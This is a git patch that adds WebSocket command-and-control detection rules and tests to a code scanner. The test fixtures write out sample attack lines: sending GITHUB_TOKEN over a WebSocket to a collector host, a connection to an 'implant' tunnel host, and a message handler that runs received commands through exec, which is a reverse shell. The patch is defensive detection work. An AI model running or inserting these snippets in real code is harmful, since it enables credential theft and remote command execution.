From 45dcb2145a6ca3cb747817e622fa4846fcb88172 Mon Sep 17 00:00:00 2001 From: PatchLedger Research Date: Thu, 14 May 2026 09:39:05 -0400 Subject: [PATCH] feat(scanner): detect malicious WebSocket handlers --- scanner/package.json | 1 + scanner/src/analyzer.ts | 2 +- scanner/src/patterns.ts | 32 +++++++++++++ scanner/src/websocket-patterns.test.ts | 63 ++++++++++++++++++++++++++ 4 files changed, 97 insertions(+), 1 deletion(-) create mode 100644 scanner/src/websocket-patterns.test.ts diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..e6765fb9 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -6,6 +6,7 @@ "type": "module", "scripts": { "build": "tsc", + "test": "npm run build && node --test dist/websocket-patterns.test.js", "start": "node dist/index.js", "dev": "tsx watch src/index.ts", "scan": "tsx src/cli.ts" diff --git a/scanner/src/analyzer.ts b/scanner/src/analyzer.ts index 7ea15a93..6b445578 100644 --- a/scanner/src/analyzer.ts +++ b/scanner/src/analyzer.ts @@ -72,7 +72,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis const contextLine = lines[lineNumber - 1] || ''; // Check if this is in an allowlisted context - const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => + const isAllowlisted = pattern.category !== 'websocket_c2' && ALLOWLIST_PATTERNS.some(allowPattern => allowPattern.test(contextLine) ); diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..a4dd90a9 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -71,6 +71,38 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi, category: 'exfiltration' }, + { + id: 'WS_SUSPICIOUS_ENDPOINT', + name: 'Suspicious WebSocket Endpoint', + description: 'WebSocket connects to a raw IP, tunnel, webhook, or other suspicious C2-style endpoint', + severity: 'high', + pattern: /\b(?:new\s+)?WebSocket\s*\(\s*['"`]wss?:\/\/(?!(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::|\/|$))(?:(?:\d{1,3}\.){3}\d{1,3}|[^'"`]*\b(?:ngrok|trycloudflare|serveo|localtunnel|webhook\.site|requestbin|interactsh|burpcollaborator|duckdns|no-ip|dynu)\b|[^'"`]*\.onion\b)[^'"`]*['"`]|(?:websocket\.create_connection|websockets\.connect)\s*\(\s*['"`]wss?:\/\/(?!(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::|\/|$))(?:(?:\d{1,3}\.){3}\d{1,3}|[^'"`]*\b(?:ngrok|trycloudflare|serveo|localtunnel|webhook\.site|requestbin|interactsh|burpcollaborator|duckdns|no-ip|dynu)\b|[^'"`]*\.onion\b)[^'"`]*['"`]/gi, + category: 'websocket_c2' + }, + { + id: 'WS_OBFUSCATED_ENDPOINT', + name: 'Obfuscated WebSocket Endpoint', + description: 'WebSocket endpoint is assembled with common obfuscation primitives', + severity: 'high', + pattern: /(?:\bnew\s+WebSocket\s*\(\s*(?:Buffer\.from|atob|String\.fromCharCode|decodeURIComponent|eval\s*\(|[^)]*\.split\s*\([^)]*\)\s*\.reverse\s*\(\)\s*\.join\s*\()|(?:Buffer\.from|atob|String\.fromCharCode|decodeURIComponent|eval\s*\()[\s\S]{0,240}\bnew\s+WebSocket\s*\()/gi, + category: 'websocket_c2' + }, + { + id: 'WS_SECRET_EXFILTRATION', + name: 'WebSocket Secret Exfiltration', + description: 'Sensitive data appears to be sent over a WebSocket channel', + severity: 'critical', + pattern: /(?:\b(?:ws|socket|websocket|client|conn)\.send\s*\([\s\S]{0,240}(?:process\.env|os\.environ|document\.cookie|localStorage|sessionStorage|NPM_TOKEN|GITHUB_TOKEN|AWS_(?:ACCESS_KEY|SECRET)|PRIVATE_KEY|SECRET|TOKEN|api[_-]?key|password)|(?:process\.env|os\.environ|document\.cookie|localStorage|sessionStorage|NPM_TOKEN|GITHUB_TOKEN|AWS_(?:ACCESS_KEY|SECRET)|PRIVATE_KEY|SECRET|TOKEN|api[_-]?key|password)[\s\S]{0,240}\b(?:ws|socket|websocket|client|conn)\.send\s*\()/gi, + category: 'websocket_c2' + }, + { + id: 'WS_REVERSE_SHELL', + name: 'WebSocket Reverse Shell', + description: 'WebSocket message handler appears to execute received commands', + severity: 'critical', + pattern: /(?:\b(?:new\s+)?WebSocket\b|websocket\.create_connection|websockets\.connect)[\s\S]{0,1000}(?:onmessage|\.on\s*\(\s*['"`]message['"`]|async\s+for\s+.*\s+in\s+websocket)[\s\S]{0,1000}(?:child_process|execSync|exec\s*\(|spawn\s*\(|spawnSync\s*\(|execFile\s*\(|subprocess\.Popen|os\.system|pty\.spawn|\/bin\/sh|cmd\.exe|powershell)/gi, + category: 'websocket_c2' + }, // === HIGH: Credential access === { diff --git a/scanner/src/websocket-patterns.test.ts b/scanner/src/websocket-patterns.test.ts new file mode 100644 index 00000000..9f8fb5d3 --- /dev/null +++ b/scanner/src/websocket-patterns.test.ts @@ -0,0 +1,63 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { analyzeContent } from './analyzer.js'; + +function patternIdsFor(source: string): string[] { + return analyzeContent(source).findings.map((finding) => finding.patternId); +} + +test('detects WebSocket connections to suspicious raw IP endpoints', () => { + const ids = patternIdsFor(` + const socket = new WebSocket("ws://203.0.113.10:4444/control"); + socket.send(JSON.stringify({ type: "hello" })); + `); + + assert.ok(ids.includes('WS_SUSPICIOUS_ENDPOINT')); +}); + +test('detects WebSocket connections to tunnel endpoints', () => { + const ids = patternIdsFor(` + import websocket + ws = websocket.create_connection("wss://implant.trycloudflare.com/ws") + ws.send("ready") + `); + + assert.ok(ids.includes('WS_SUSPICIOUS_ENDPOINT')); +}); + +test('detects secret exfiltration over WebSocket send calls', () => { + const ids = patternIdsFor(` + const ws = new WebSocket("wss://collector.example.com"); + ws.send(JSON.stringify({ token: process.env.GITHUB_TOKEN })); + `); + + assert.ok(ids.includes('WS_SECRET_EXFILTRATION')); +}); + +test('detects reverse shell behavior in WebSocket message handlers', () => { + const ids = patternIdsFor(` + const { exec } = require("child_process"); + const ws = new WebSocket("wss://control.example.com"); + ws.on("message", (cmd) => exec(cmd.toString())); + `); + + assert.ok(ids.includes('WS_REVERSE_SHELL')); +}); + +test('detects obfuscated WebSocket endpoints', () => { + const ids = patternIdsFor(` + const endpoint = atob("d3NzOi8vZXhhbXBsZS5jb20="); + const ws = new WebSocket(endpoint); + `); + + assert.ok(ids.includes('WS_OBFUSCATED_ENDPOINT')); +}); + +test('does not flag benign local development WebSocket pings', () => { + const ids = patternIdsFor(` + const ws = new WebSocket("ws://localhost:3000/dev"); + ws.send(JSON.stringify({ type: "ping" })); + `); + + assert.equal(ids.some((id) => id.startsWith('WS_')), false); +});